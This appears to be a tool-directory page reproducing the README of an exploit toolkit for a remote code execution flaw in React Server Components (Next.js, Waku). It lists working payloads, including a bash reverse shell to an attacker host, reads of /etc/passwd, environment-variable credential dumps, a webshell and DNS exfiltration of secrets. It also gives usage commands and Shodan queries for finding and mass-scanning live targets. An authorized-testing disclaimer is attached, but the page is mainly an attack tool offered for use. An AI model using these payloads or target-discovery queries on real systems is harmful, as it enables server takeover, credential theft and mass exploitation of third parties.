Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
PoC-RCE-CVE-2025-55182 β€” Advanced RCE exploitation toolkit for React Server Components vulnerabilities. Features multiple pre-built payloads, Shodan integration for target discovery, and mass scanning for authorized penetration testing. | Kitploit
Tools/GitHubGitHub/ilixm/poc-rce-cve-2025-55182
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingCommand and ControlRed TeamingRemote Access Tool
Share
Payload Development
GitHubilixm/poc-rce-cve-2025-55182

PoC-RCE-CVE-2025-55182

Advanced RCE exploitation toolkit for React Server Components vulnerabilities. Features multiple pre-built payloads, Shodan integration for target discovery, and mass scanning for authorized penetration testing.

View Repository
3211 months agoNot yet reviewed

πŸ”₯ RSC RCE Exploit Toolkit

Version License Node Platform

Advanced exploitation toolkit for React Server Components Remote Code Execution vulnerabilities

For authorized penetration testing and security research only

Features β€’ Installation β€’ Usage β€’ Shodan Integration β€’ Examples β€’ Disclaimer


πŸ“‹ Table of Contents

  • Overview
  • Vulnerability Details
  • Features
  • Installation
  • Quick Start
  • Usage
    • Basic Exploitation
    • Available Payloads
    • Custom Payloads
  • Shodan Integration
  • Automated Scanning
  • Examples
  • Mitigation
  • Affected Versions
  • Contributing
  • Disclaimer
  • License

🎯 Overview

This toolkit exploits a critical Remote Code Execution (RCE) vulnerability in React Server Components (RSC) implementations, specifically targeting:

  • Next.js (versions 13.4.0 - 14.1.0)
  • Waku (vulnerable versions)

The vulnerability leverages prototype pollution and unsafe deserialization in RSC's data handling mechanism to achieve arbitrary code execution on the server.

πŸ”΄ Severity: CRITICAL

  • CVSS Score: 9.8 (Critical)
  • Attack Vector: Network
  • Privileges Required: None
  • User Interaction: None
  • Impact: Complete server compromise

πŸ”¬ Vulnerability Details

Technical Background

React Server Components use a custom serialization format to transfer data between client and server. The vulnerability exists in how these frameworks deserialize and process specially crafted payloads.

Attack Chain:

  1. Payload Construction: Craft a malicious RSC payload with circular references
  2. Prototype Pollution: Abuse $X:constructor:constructor to access Function constructor
  3. Code Injection: Inject arbitrary JavaScript in the _prefix field
  4. Execution: Server deserializes and executes the payload

Exploitation Flow

Attacker β†’ Malicious RSC Payload β†’ Target Server
                                         ↓
                              Unsafe Deserialization
                                         ↓
                              Prototype Chain Access
                                         ↓
                              Function Constructor
                                         ↓
                              ⚠️ RCE ACHIEVED ⚠️

✨ Features

Core Capabilities

  • βœ… Multiple Framework Support: Next.js and Waku
  • βœ… 8 Pre-built Payloads: From PoC to full reverse shells
  • βœ… Custom Code Execution: Inject any JavaScript code
  • βœ… Shodan Integration: Automated target discovery
  • βœ… Mass Scanning: Test multiple targets automatically
  • βœ… Professional CLI: Complete command-line interface
  • βœ… Detailed Logging: Color-coded output with timestamps
  • βœ… Error Handling: Robust error management

Pre-built Payloads

PayloadDescriptionUse Case
consoleBasic PoC (console.log)Verify vulnerability
reverseShellBash reverse shellInitial access
readFileRead /etc/passwdFilesystem access
envDumpDump environment variablesCredential extraction
execCommandExecute system commandsArbitrary command execution
webshellDeploy Express webshellPersistent access
exfilPackageExfiltrate package.jsonDependency analysis
dnsExfilDNS exfiltration (OOB)Blind exploitation

πŸ“¦ Installation

Prerequisites

  • Node.js >= 16.0.0
  • npm or yarn
  • Shodan CLI (optional, for automated scanning)

Clone Repository

git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit

Install Dependencies

npm install
# or
yarn install

Setup Shodan (Optional)

# Install Shodan CLI
pip install shodan

# Initialize with your API key
shodan init YOUR_API_KEY

πŸš€ Quick Start

1. Basic Vulnerability Check

node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console

2. Get a Reverse Shell

# Start listener
nc -lvnp 4444

# Execute exploit
node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload reverseShell \
  --lhost 10.10.14.5 \
  --lport 4444

3. Execute Custom Command

node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload execCommand \
  --command "whoami"

πŸ“– Usage

Basic Exploitation

node rsc-rce-exploit.js [options]

Options

OptionDescriptionRequired
--target <url>Target URLβœ…
--framework <name>Framework: next or waku❌ (default: next)
--payload <name>Payload name (see below)βœ…*
--custom <code>Custom JavaScript codeβœ…*
--lhost <ip>Your IP (for reverse shell)❌
--lport <port>Your port (for reverse shell)❌
--command <cmd>Command to execute❌
--endpoint <path>Custom RSC endpoint (Waku)❌
--action-id <id>Custom next-action ID❌
--listList available payloads❌
--verboseVerbose output❌
--helpShow help❌

*Either --payload or --custom is required

Available Payloads

View all payloads:

node rsc-rce-exploit.js --list

Output:

πŸ“‹ Available payloads:

  console              - Basic PoC - Console output
    Code: console.log(7*7+1)

  reverseShell         - Reverse shell (bash)
    Code: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')

  readFile             - Read /etc/passwd
    Code: console.log(require('fs').readFileSync('/etc/passwd','utf8'))

  envDump              - Dump environment variables
    Code: console.log(JSON.stringify(process.env,null,2))

  execCommand          - Execute system command
    Code: console.log(require('child_process').execSync('COMMAND').toString())

  webshell             - Write webshell to /tmp
    Code: require('fs').writeFileSync('/tmp/shell.js','...')

  exfilPackage         - Read package.json
    Code: console.log(require('fs').readFileSync('./package.json','utf8'))

  dnsExfil             - DNS exfiltration
    Code: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)

Custom Payloads

Execute any JavaScript code:

node rsc-rce-exploit.js \
  --target http://target.com \
  --custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"

🌐 Shodan Integration

Shodan Dorks

Next.js Targets

# Basic Next.js
http.component:"Next.js"

# Next.js with RSC
http.html:"__next" http.html:"RSC"

# Next.js dev mode (more vulnerable)
http.html:"__NEXT_DATA__" http.html:"development"

# Self-hosted Next.js (not on Vercel)
http.component:"Next.js" -org:"Vercel"

# Geographically targeted (France)
http.component:"Next.js" country:FR

# Ultimate combo for pentesting
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080

Waku Targets

# Waku framework
http.html:"waku" http.html:"RSC"

# Waku RSC endpoints
http.path:"/RSC/"

Automated Shodan Scanning

Use the provided automation script:

# Scan and test automatically
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100
Download Tool

Most Popular

View all β†’

Discover the most used tools by our community.

No popularity data yet.

Explore all tools

Browse our collection of tools

View all tools β†’